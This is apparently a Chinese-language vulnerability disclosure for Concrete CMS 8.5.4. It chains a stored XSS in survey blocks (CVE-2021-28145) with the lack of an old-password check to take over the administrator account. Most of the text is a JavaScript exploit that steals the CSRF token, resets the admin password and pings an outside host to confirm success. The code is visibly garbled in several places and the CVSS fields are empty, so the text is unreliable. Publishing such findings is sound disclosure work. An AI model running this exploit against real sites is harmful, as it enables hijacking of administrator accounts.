在版本低于 9 的 Concrete CMS 中,管理员在更改其他用户密码时无需提供自己的密码。
结合 CVE-2021-28145("Concrete CMS(前身为 concrete5)8.5.5 之前的版本允许远程认证用户通过精心设计的调查区块执行 XSS 攻击。这至少需要编辑者权限":该修复包含在 8.5.5 版本中),低权限用户(例如开发者或能够创建调查的公共用户)可以插入恶意 JavaScript 代码到 Web 应用程序中。调查结果可由管理员在其 Web 界面(报告>调查)中查看。恶意 JavaScript 代码也会在那里执行。Concrete5 具有 CSRF 保护,但可以通过在执行请求之前从页面窃取相应的令牌来非常容易地绕过。由于 Concrete5 在更改密码时不要求原密码,因此可以非常容易地更改管理员密码。
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
CVSS 评分:
最终得分: